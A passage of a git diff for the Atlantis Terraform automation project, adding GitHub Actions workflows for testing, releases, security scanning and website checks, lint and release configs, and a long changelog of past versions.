@@ -0,0 +1,38 @@ +name: pr-size + +on: [pull_request] + +permissions: + contents: read + +jobs: + labeler: + permissions: + pull-requests: write # for codelytv/pr-size-labeler to add labels & comment on PRs + runs-on: ubuntu-latest + name: Label the PR size + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: codelytv/pr-size-labeler@4ec67706cd878fbc1c8db0a5dcd28b6bb412e85a # v1 + with: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + xs_label: 'size/xs' + xs_max_size: '10' + s_label: 'size/s' + s_max_size: '200' + m_label: 'size/m' + m_max_size: '1000' + l_label: 'size/l' + l_max_size: '10000' + xl_label: 'size/xl' + fail_if_xl: 'false' + message_if_xl: > + This PR exceeds the recommended size of 1000 lines. + Please make sure you are NOT addressing multiple issues with one PR. + Note this PR might be rejected due to its size. + github_api_url: 'https://api.github.com' + files_to_ignore: '' diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000000..49d7550725 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,48 @@ +name: release + +on: + push: + tags: + - v*.*.* + workflow_dispatch: + +jobs: + goreleaser: + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + with: + submodules: true + + - uses: actions/setup-go@d35c59abb061a4a6fb18e82ac0862c26744d6ab5 # v5 + with: + go-version-file: go.mod + + - name: Run GoReleaser for stable release + uses: goreleaser/goreleaser-action@9c156ee8a17a598857849441385a2041ef570552 # v6 + if: (!contains(github.ref, 'pre')) + with: + # You can pass flags to goreleaser via GORELEASER_ARGS + # --clean will save you deleting the dist dir + args: release --clean + distribution: goreleaser # or 'goreleaser-pro' + version: "~> v2" # or 'latest', 'nightly', semver + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + - name: Generate changelog for pre release + if: contains(github.ref, 'pre') + id: changelog + run: | + echo "RELEASE_TAG=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT + gh api repos/$GITHUB_REPOSITORY/releases/generate-notes \ + -f tag_name="${GITHUB_REF#refs/tags/}" \ + -f target_commitish=main \ + -q .body > tmp-CHANGELOG.md + env: + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} diff --git a/.github/workflows/renovate-config.yml b/.github/workflows/renovate-config.yml new file mode 100644 index 0000000000..7bbc311fb4 --- /dev/null +++ b/.github/workflows/renovate-config.yml @@ -0,0 +1,29 @@ +name: renovate-config + +on: + push: + paths: + - '.github/renovate.json5' + branches: + - main + - 'releases-**' + pull_request: + paths: + - '.github/renovate.json5' + workflow_dispatch: + +permissions: + contents: read + +jobs: + validate: + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 + - run: npx --package=renovate@latest -c renovate-config-validator diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml new file mode 100644 index 0000000000..9fa55462b8 --- /dev/null +++ b/.github/workflows/scorecard.yml @@ -0,0 +1,61 @@ +name: Scorecard supply-chain security +on: + schedule: + - cron: '0 5 * * 1' + push: + branches: + - main + +permissions: read-all + +jobs: + analysis: + name: Scorecard analysis + runs-on: ubuntu-latest + permissions: + # Needed to upload the results to code-scanning dashboard. + security-events: write + # Needed to publish results and get a badge (see publish_results below). + id-token: write + + steps: + - name: Harden Runner + uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2 + with: + egress-policy: audit + + - name: 'Checkout code' + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false + show-progress: false + + - name: 'Run analysis' + uses: ossf/scorecard-action@05b42c624433fc40578a4040d5cf5e36ddca8cde # v2.4.2 + with: + results_file: results.sarif + results_format: sarif + + # Public repositories: + # - Publish results to OpenSSF REST API for easy access by consumers + # - Allows the repository to include the Scorecard badge. + # - See https://github.com/ossf/scorecard-action#publishing-results. + # For private repositories: + # - `publish_results` will always be set to `false`, regardless + # of the value entered here. + publish_results: true + + # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF + # format to the repository Actions tab. + - name: 'Upload artifact' + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 + with: + name: SARIF file + path: results.sarif + retention-days: 5 + + # Upload the results to GitHub's code scanning dashboard. + - name: 'Upload to code-scanning' + uses: github/codeql-action/upload-sarif@45775bd8235c68ba998cffa5171334d58593da47 # v3.28.15 + with: + sarif_file: results.sarif diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml new file mode 100644 index 0000000000..b33817c817 --- /dev/null +++ b/.github/workflows/stale.yml @@ -0,0 +1,31 @@ +name: Close Stale PRs +on: + schedule: + - cron: '30 1 * * *' +permissions: + contents: read + +jobs: + stale: + permissions: + issues: write # for actions/stale to close stale issues + pull-requests: write # for actions/stale to close stale PRs + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/stale@5bef64f19d7facfb25b37b414482c7164d639639 # v9 + with: + stale-pr-message: 'This issue is stale because it has been open for 1 month with no activity. Remove stale label or comment or this will be closed in 1 month.' + stale-issue-message: This issue is stale because it has been open for 1 month with no activity. Remove stale label or comment or this will be closed in 1 month.' + remove-stale-when-updated: true + exempt-pr-labels: "never-stale" + exempt-issue-labels: "never-stale" + # 1 month + days-before-stale: 31 + # 1 month + days-before-close: 31 + only-labels: 'waiting-on-response' diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 0000000000..ff4c271979 --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,209 @@ +name: tester + +on: + push: + branches: + - "main" + - "release-**" + pull_request: + types: + - opened + - reopened + - synchronize + - ready_for_review + branches: + - "main" + - "release-**" + +concurrency: + group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + changes: + permissions: + contents: read # for dorny/paths-filter to fetch a list of changed files + pull-requests: read # for dorny/paths-filter to read pull requests + outputs: + should-run-tests: ${{ steps.changes.outputs.go == 'true' }} + if: github.event.pull_request.draft == false + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 + id: changes + with: + filters: | + go: + - '**.go' + - '**.txt' # golden file test output + - 'go.*' + - '**.tmpl' + - '.github/workflows/test.yml' + test: + needs: [changes] + if: needs.changes.outputs.should-run-tests == 'true' + name: Tests + runs-on: ubuntu-24.04 + container: ghcr.io/runatlantis/testing-env:latest@sha256:ff2a5fb7691d65f9554e69823c55f01c6e34824b9be377199e1b7754ff5fa007 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + + # need to setup go toolchain explicitly + - uses: actions/setup-go@d35c59abb061a4a6fb18e82ac0862c26744d6ab5 # v5 + with: + go-version-file: go.mod + + - run: make test-all + - run: make check-fmt + + ########################################################### + # Notifying #contributors about test failure on main branch + ########################################################### + - name: Slack failure notification + if: ${{ github.ref == 'refs/heads/main' && failure() }} + uses: slackapi/slack-github-action@485a9d42d3a73031f12ec201c457e2162c45d02d # v2.0.0 + with: + payload: | + { + "blocks": [ + { + "type": "section", + "text": { + "type": "mrkdwn", + "text": ":x: Failed GitHub Action:" + } + }, + { + "type": "section", + "fields": [ + { + "type": "mrkdwn", + "text": "*Workflow:*\n<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|${{ github.workflow }}>" + }, + { + "type": "mrkdwn", + "text": "*Job:*\n${{ github.job }}" + }, + { + "type": "mrkdwn", + "text": "*Repo:*\n${{ github.repository }}" + } + ] + } + ] + } + env: + SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} + SLACK_WEBHOOK_TYPE: INCOMING_WEBHOOK + + skip-test: + needs: [changes] + if: needs.changes.outputs.should-run-tests == 'false' + name: Tests + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - run: 'echo "No build required"' + + e2e-github: + runs-on: ubuntu-latest + # dont run e2e tests on forked PRs + if: github.event.pull_request.head.repo.fork == false + env: + TERRAFORM_VERSION: 1.11.1 + ATLANTIS_GH_USER: ${{ secrets.ATLANTISBOT_GITHUB_USERNAME }} + ATLANTIS_GH_TOKEN: ${{ secrets.ATLANTISBOT_GITHUB_TOKEN }} + NGROK_AUTH_TOKEN: ${{ secrets.ATLANTISBOT_NGROK_AUTH_TOKEN }} + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - uses: actions/setup-go@d35c59abb061a4a6fb18e82ac0862c26744d6ab5 # v5 + with: + go-version-file: go.mod + + # This version of TF will be downloaded before Atlantis is started. + # We do this instead of setting --default-tf-version because setting + # that flag starts the download asynchronously so we'd have a race + # condition. + - uses: hashicorp/setup-terraform@b9cd54a3c349d3f38e8881555d616ced269862dd # v3 + with: + terraform_version: ${{ env.TERRAFORM_VERSION }} + + - name: Setup ngrok + run: | + wget -q -O ngrok.tar.gz https://bin.equinox.io/a/jVjTX7dAozH/ngrok-v3-3.22.1-linux-amd64.tar.gz + tar -xzf ngrok.tar.gz + chmod +x ngrok + ./ngrok version + - name: Setup gitconfig + run: | + git config --global user.email "maintainers@runatlantis.io" + git config --global user.name "atlantisbot" + + - run: | + make build-service + ./scripts/e2e.sh + e2e-gitlab: + runs-on: ubuntu-latest + # dont run e2e tests on forked PRs + if: github.event.pull_request.head.repo.fork == false + env: + TERRAFORM_VERSION: 1.11.1 + ATLANTIS_GITLAB_USER: ${{ secrets.ATLANTISBOT_GITLAB_USERNAME }} + ATLANTIS_GITLAB_TOKEN: ${{ secrets.ATLANTISBOT_GITLAB_TOKEN }} + NGROK_AUTH_TOKEN: ${{ secrets.ATLANTISBOT_NGROK_AUTH_TOKEN }} + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - uses: actions/setup-go@d35c59abb061a4a6fb18e82ac0862c26744d6ab5 # v5 + with: + go-version-file: go.mod + + # This version of TF will be downloaded before Atlantis is started. + # We do this instead of setting --default-tf-version because setting + # that flag starts the download asynchronously so we'd have a race + # condition. + - uses: hashicorp/setup-terraform@b9cd54a3c349d3f38e8881555d616ced269862dd # v3 + with: + terraform_version: ${{ env.TERRAFORM_VERSION }} + + - name: Setup ngrok + run: | + wget -q -O ngrok.tar.gz https://bin.equinox.io/a/jVjTX7dAozH/ngrok-v3-3.22.1-linux-amd64.tar.gz + tar -xzf ngrok.tar.gz + chmod +x ngrok + ./ngrok version + - name: Setup gitconfig + run: | + git config --global user.email "maintainers@runatlantis.io" + git config --global user.name "atlantisbot" + + - run: | + make build-service + ./scripts/e2e.sh diff --git a/.github/workflows/testing-env-image.yml b/.github/workflows/testing-env-image.yml new file mode 100644 index 0000000000..723f215b99 --- /dev/null +++ b/.github/workflows/testing-env-image.yml @@ -0,0 +1,100 @@ +name: testing-env-image + +on: + push: + branches: + - 'main' + - 'release-**' + pull_request: + branches: + - 'main' + - 'release-**' + workflow_dispatch: + +concurrency: + group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + changes: + permissions: + contents: read # for dorny/paths-filter to fetch a list of changed files + pull-requests: read # for dorny/paths-filter to read pull requests + outputs: + should-run-build: ${{ steps.changes.outputs.src == 'true' }} + if: github.event.pull_request.draft == false + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 + id: changes + with: + filters: | + src: + - 'testing/**' + - '.github/workflows/testing-env-image.yml' + + build: + needs: [changes] + if: needs.changes.outputs.should-run-build == 'true' + name: Build Testing Env Image + runs-on: ubuntu-24.04 + permissions: + packages: write # for ghcr.io push + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + + - name: Set up QEMU + uses: docker/setup-qemu-action@29109295f81e9208d7d86ff1c6c12d2833863392 # v3 + with: + image: tonistiigi/binfmt:latest + platforms: arm64,arm + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@e468171a9de216ec08956ac3ada2f0791b6bd435 # v3 + + - name: Login to Packages Container registry + uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - run: echo "TODAY=$(date +"%Y.%m.%d")" >> $GITHUB_ENV + - name: Build and push testing-env:${{env.TODAY}} image + uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6 + with: + cache-from: type=gha + cache-to: type=gha,mode=max + context: testing + platforms: linux/arm64/v8,linux/amd64,linux/arm/v7 + push: ${{ github.event_name != 'pull_request' }} + tags: | + ghcr.io/runatlantis/testing-env:${{env.TODAY}} + ghcr.io/runatlantis/testing-env:latest + + skip-build: + needs: [changes] + if: needs.changes.outputs.should-run-build == 'false' + name: Build Testing Env Image + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - run: 'echo "No build required"' diff --git a/.github/workflows/website.yml b/.github/workflows/website.yml new file mode 100644 index 0000000000..e72c49a4fe --- /dev/null +++ b/.github/workflows/website.yml @@ -0,0 +1,105 @@ +name: website + +on: + push: + branches: + - 'main' + - 'release-**' + pull_request: + types: + - opened + - reopened + - synchronize + - ready_for_review + branches: + - 'main' + - 'release-**' + +concurrency: + group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} + cancel-in-progress: true + +permissions: + # Required: allow read access to the content for analysis. + contents: read + +jobs: + changes: + outputs: + should-run-website-check: ${{ steps.changes.outputs.src == 'true' }} + if: github.event.pull_request.draft == false + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 + id: changes + with: + filters: | + src: + - 'runatlantis.io/**' + - 'package-lock.json' + - 'package.json' + - '.github/workflows/website.yml' + + # Check that the website builds and there's no missing links. + website-check: + needs: [changes] + if: github.event.pull_request.draft == false && needs.changes.outputs.should-run-website-check == 'true' + name: Website Check + runs-on: ubuntu-latest + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + + - name: markdown-lint + uses: DavidAnson/markdownlint-cli2-action@05f32210e84442804257b2a6f20b273450ec8265 # v19 + with: + config: .markdownlint.yaml + globs: 'runatlantis.io/**/*.md' + + - name: Link Checker + id: lychee + uses: lycheeverse/lychee-action@82202e5e9c2f4ef1a55a3d02563e1cb6041e5332 # v2.4.1 + with: + args: --verbose --no-progress ./runatlantis.io + + - name: setup npm + uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 + with: + cache: 'npm' + + - name: run http-server + run: | + # build site + npm install + npm run website:build + + # start http-server for integration testing + npx http-server runatlantis.io/.vitepress/dist & + + - name: Run Playwright E2E tests + run: | + npx playwright install --with-deps + npm run e2e + + skip-website-check: + needs: [changes] + if: needs.changes.outputs.should-run-website-check == 'false' + name: Website Check + runs-on: ubuntu-latest + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - run: 'echo "No build required"' diff --git a/.gitignore b/.gitignore index c23cbfed9c..87e99516d4 100644 --- a/.gitignore +++ b/.gitignore @@ -1,15 +1,40 @@ .idea ./atlantis *.iml -.vscode atlantis.db output .DS_Store .cover .terraform/ node_modules/ -**/.vuepress/dist helm/test-values.yaml *.swp golangci-lint atlantis +.devcontainer +atlantis.env +*.act +Dockerfile.local + +# gitreleaser +dist/ +tmp-CHANGELOG.md + +.envrc + +# IDE files +*.code-workspace + +# draw.io backup files +*.bkp + +# VitePress build output & cache directory +**/.vitepress/cache +**/.vitepress/dist +**/.vitepress/config.ts.timestamp-* + +# playwright +test-results/ + +#Cursor dirs +.cursor diff --git a/.golangci.yml b/.golangci.yml index 0630766f93..0afa70118c 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -1,21 +1,32 @@ +linters-settings: + misspell: + # Correct spellings using locale preferences for US or UK. + # Default is to use a neutral variety of English. + # Setting locale to US will correct the British spelling of 'colour' to 'color'. + # locale: US + ignore-words: + # for gitlab notes api + - noteable + revive: + rules: + - name: dot-imports + disabled: true + linters: enable: - - deadcode - - errcheck - - gochecknoinits -# We don't use goconst because it gives false positives in the tests. -# - goconst - - gofmt - - golint - - gosec - - gosimple - - ineffassign - - interfacer - - staticcheck - - structcheck - - typecheck - - unconvert - - unused - - varcheck - - vet - - vetshadow + - errcheck + - gochecknoinits + - gofmt + - gosec + - gosimple + - govet + - ineffassign + - misspell + - revive + - staticcheck + - testifylint + - typecheck + - unconvert + - unused +run: + timeout: 10m diff --git a/.goreleaser.yml b/.goreleaser.yml new file mode 100644 index 0000000000..77130c453b --- /dev/null +++ b/.goreleaser.yml @@ -0,0 +1,67 @@ +version: 2 + +env: + - CGO_ENABLED=0 + +builds: + - id: atlantis + + targets: + - darwin_amd64 + - darwin_arm64 + - linux_386 + - linux_amd64 + - linux_arm + - linux_arm64 + - windows_386 + - windows_amd64 + + flags: + - -trimpath + + ldflags: + - -s -w + - -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{.Date}} + +archives: + - id: zip + name_template: "{{ .ProjectName }}_{{ .Os }}_{{ .Arch }}" + formats: + - zip + files: + - none* + +checksum: + name_template: "checksums.txt" + +changelog: + disable: true + +release: + # If set to true, will not auto-publish the release. + # Default is false. + draft: false + + # If set, will create a release discussion in the category specified. + # + # Warning: do not use categories in the 'Announcement' format. + # Check https://github.com/goreleaser/goreleaser/issues/2304 for more info. + # + # Default is empty. + discussion_category_name: General + + # If set to auto, will mark the release as not ready for production + # in case there is an indicator for this in the tag e.g. v1.0.0-rc1 + # If set to true, will mark the release as not ready for production. + # Default is false. + prerelease: auto + +# TODO: This requires a gpg_private_key +# https://github.com/marketplace/actions/goreleaser-action#signing +# signs: +# # https://goreleaser.com/customization/sign/ +# - +# artifacts: all + +snapshot: + name_template: "{{ incpatch .Version }}-next" diff --git a/.lycheeignore b/.lycheeignore new file mode 100644 index 0000000000..6af08e13b9 --- /dev/null +++ b/.lycheeignore @@ -0,0 +1,5 @@ +# Ignore file for the https://github.com/lycheeverse/lychee/ website link checker + +# These sites have bot protection which causes a 403 Network error: Forbidden when checking +https://www.freepik.com/ +https://www.flaticon.com/ diff --git a/.markdownlint.yaml b/.markdownlint.yaml new file mode 100644 index 0000000000..9f4f9cacdc --- /dev/null +++ b/.markdownlint.yaml @@ -0,0 +1,38 @@ +# MD013/line-length +# +# We're not particular about line length, generally preferring longer +# lines, since tools like Grammarly and other writing assistance tools +# work best with "normal" lines not broken up arbitrary. +# +# https://github.com/DavidAnson/markdownlint/blob/main/doc/md013.md +MD013: false + +# MD033/no-inline-html +# +# We're fine with inline HTML, there are lots of valid VitePress features +# that depends on this. +# +# https://github.com/DavidAnson/markdownlint/blob/main/doc/md033.md +MD033: false + +# MD024/no-duplicate-heading +# +# VitePress do not follow GitHub heading styling, so duplicate headlines +# are fine as long as they are not siblings (aka same indention hierarchy) +# +# https://github.com/DavidAnson/markdownlint/blob/main/doc/md024.md +MD024: + siblings_only: true + +# MD051/link-fragments +# +# VitePress generate these differently that markdownlint expects, so disabling +# for now, and something to improve on later (cc @jippi) +# +# https://github.com/DavidAnson/markdownlint/blob/main/doc/md051.md +MD051: false + +# for blog posts +MD025: false +MD045: false +MD001: false diff --git a/.node-version b/.node-version new file mode 100644 index 0000000000..7d41c735d7 --- /dev/null +++ b/.node-version @@ -0,0 +1 @@ +22.14.0 diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 0000000000..691d45e43b --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,22 @@ +repos: +- repo: https://github.com/gitleaks/gitleaks + rev: v8.16.3 + hooks: + - id: gitleaks +- repo: https://github.com/golangci/golangci-lint + rev: v1.52.2 + hooks: + - id: golangci-lint +- repo: https://github.com/jumanjihouse/pre-commit-hooks + rev: 3.0.0 + hooks: + - id: shellcheck +- repo: https://github.com/pre-commit/mirrors-eslint + rev: v8.38.0 + hooks: + - id: eslint +- repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.4.0 + hooks: + - id: end-of-file-fixer + - id: trailing-whitespace diff --git a/.tool-versions b/.tool-versions new file mode 100644 index 0000000000..a5229730da --- /dev/null +++ b/.tool-versions @@ -0,0 +1,2 @@ +node 22.14.0 +go 1.24.4 diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000000..b93fa58b76 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "git.alwaysSignOff": true +} diff --git a/CHANGELOG.md b/CHANGELOG.md index 700c24a083..8a5e761104 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,626 @@ +**NOTE:** We do not plan to update this page anymore. Please see [the releases page for the updated changelog](https://github.com/runatlantis/atlantis/releases). + +--- + +# v0.23.3 + +Bugfixes and new Features + +https://github.com/runatlantis/atlantis/releases/tag/v0.23.3 + +# v0.23.2 + +Bugfixes and new Features + +https://github.com/runatlantis/atlantis/releases/tag/v0.23.2 + +# v0.23.1 + +Bugfixes and new Features + +https://github.com/runatlantis/atlantis/releases/tag/v0.23.1 + +# v0.23.0 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.23.0 + +# v0.22.3 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.22.3 + +# v0.22.2 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.22.2 + +# v0.22.1 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.22.1 + +# v0.22.0 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.22.0 + +# v0.21.0 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.21.0 + +## Breaking changes +* Terraform version 1.x have been removed to deprecate beta versions of terraform and reduce the docker image size. Each version of terraform is about 80 MB. ([#2619](https://github.com/runatlantis/atlantis/pull/2619)) + +# v0.20.1 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.20.1 + +# v0.20.0 + +Broken build due to github action issues + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.20.0 + +# v0.19.8 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.19.8 + +# v0.19.7 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.19.7 + +# v0.19.6 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.19.6 + + +# v0.19.5 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.19.5 + +## Backwards Incompatibilities / Notes: +* `--var-file-allowlist` flag has been added to restrict the access of files on Atlantis install from pull request + comments. Set the flag if you want to explicitly grant the access to files outside the default data directory. + + Previously, any file could be passed to `-var-file`. Now only files under the directories in the allowlist are permitted. + +# v0.19.4 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.19.4 + +# v0.19.3 + +Bugfixes and new Features + +## What's Changed + +https://github.com/runatlantis/atlantis/releases/tag/v0.19.3 + +# v0.19.2 + +Bug fix release for github and update docs to reflect the docker registry support change. + +## What's Changed + +* fix: fix unmarshall error in graphql call by @raymondchen625 in https://github.com/runatlantis/atlantis/pull/2128 +* docs: update docker registry link to ghcr by @marceloboeira in https://github.com/runatlantis/atlantis/pull/2130 + +# v0.19.1 + +Bug fix release, most importantly fixing the wrong version number associated with v0.19.0. + +And it also contains fixes for `bitbucketcloud` and `gitlab`. + +## What's Changed + +* build(deps): bump actions/checkout from 2 to 3 by @dependabot in https://github.com/runatlantis/atlantis/pull/2119 +* build(deps): bump github.com/xanzy/go-gitlab from 0.55.1 to 0.58.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2118 +* fix(bitbucketcloud): Ensure status key has at most 40 characters by @maxbrunet in https://github.com/runatlantis/atlantis/pull/2037 +* fix(gitlab-client): change `pending` to `running` state by @syphernl in https://github.com/runatlantis/atlantis/pull/1971 +* fix(bitbucketcloud)!: Use AccountID as username instead of Nickname by @maxbrunet in https://github.com/runatlantis/atlantis/pull/2034 + +# v0.19.0 + +Feature release for: +- multi-arch docker images +- add `pending` status for apply + +## What's Changed + +* docs: moving streaming logs section from top-level navigation to docs by @Aayyush in https://github.com/runatlantis/atlantis/pull/2066 +* fix(docker): Multi-arch Docker images, attempt two by @Tenzer in https://github.com/runatlantis/atlantis/pull/2114 +* feat: add a pending status for apply when running plan command by @AndreZiviani in https://github.com/runatlantis/atlantis/pull/2053 + +# v0.18.5 + +Maintenance release: +- Drop Dockerhub support (#2103) +- fixing the most recent multiplatform image build issue. (#2104) + +## What's Changed + +* ci: drop circleci docker hub update by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2102 +* fix(docker): fix docker runtime issue by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2106 +* deps: tf 1.1.7 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2108 + +# v0.18.4 + +Maintenance release for security patches with atlantis-base image + +## What's Changed + +* fix(web-templates): use CleanedBasePath for titles by @jvrplmlmn in https://github.com/runatlantis/atlantis/pull/2091 +* build(deps): bump runatlantis/atlantis-base from 2021.12.15 to 2022.03.02 +* docker: bump git-lfs and gosu dependencies by @hi-artem in https://github.com/runatlantis/atlantis/pull/2096 +* fix(docker): fix base image for multi-platform build by @Tenzer in https://github.com/runatlantis/atlantis/pull/2099 +* fix(docker): fix installation of git-lfs in armv7 image by @Tenzer in https://github.com/runatlantis/atlantis/pull/2100 +* fix(docker): download Terraform and conftest versions matching image architecture by @Tenzer in https://github.com/runatlantis/atlantis/pull/2101 + +# v0.18.3 + +## What's Changed + +* Fix URL generation by @PertsevRoman in https://github.com/runatlantis/atlantis/pull/2021 +* deps: terraform 1.1.5 by @lazzurs in https://github.com/runatlantis/atlantis/pull/2042 +* docs: update devops PR link by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2033 +* Moving config files to core/config by @msarvar in https://github.com/runatlantis/atlantis/pull/2036 +* docs: fix policy example with custom workflow by @aliscott in https://github.com/runatlantis/atlantis/pull/2049 +* docs: fix some typos by @ocaisa in https://github.com/runatlantis/atlantis/pull/2048 +* fix: get user teams with GitHub GraphQL API by @raymondchen625 in https://github.com/runatlantis/atlantis/pull/2045 +* build(deps): bump github.com/xanzy/go-gitlab from 0.54.3 to 0.54.4 by @dependabot in https://github.com/runatlantis/atlantis/pull/2050 +* docs: add user facing documentation for real-time logs by @Aayyush in https://github.com/runatlantis/atlantis/pull/1963 +* feat: Use UUIDs to identify log streaming jobs by @Aayyush in https://github.com/runatlantis/atlantis/pull/2051 +* build(deps): bump ajv from 6.5.1 to 6.12.6 by @dependabot in https://github.com/runatlantis/atlantis/pull/2060 +* build(deps): bump github.com/xanzy/go-gitlab from 0.54.4 to 0.55.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/2061 +* build(deps): bump github.com/golang-jwt/jwt/v4 from 4.2.0 to 4.3.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2062 +* build(deps): bump github.com/microcosm-cc/bluemonday from 1.0.17 to 1.0.18 by @dependabot in https://github.com/runatlantis/atlantis/pull/2063 +* build(deps): bump go.uber.org/zap from 1.20.0 to 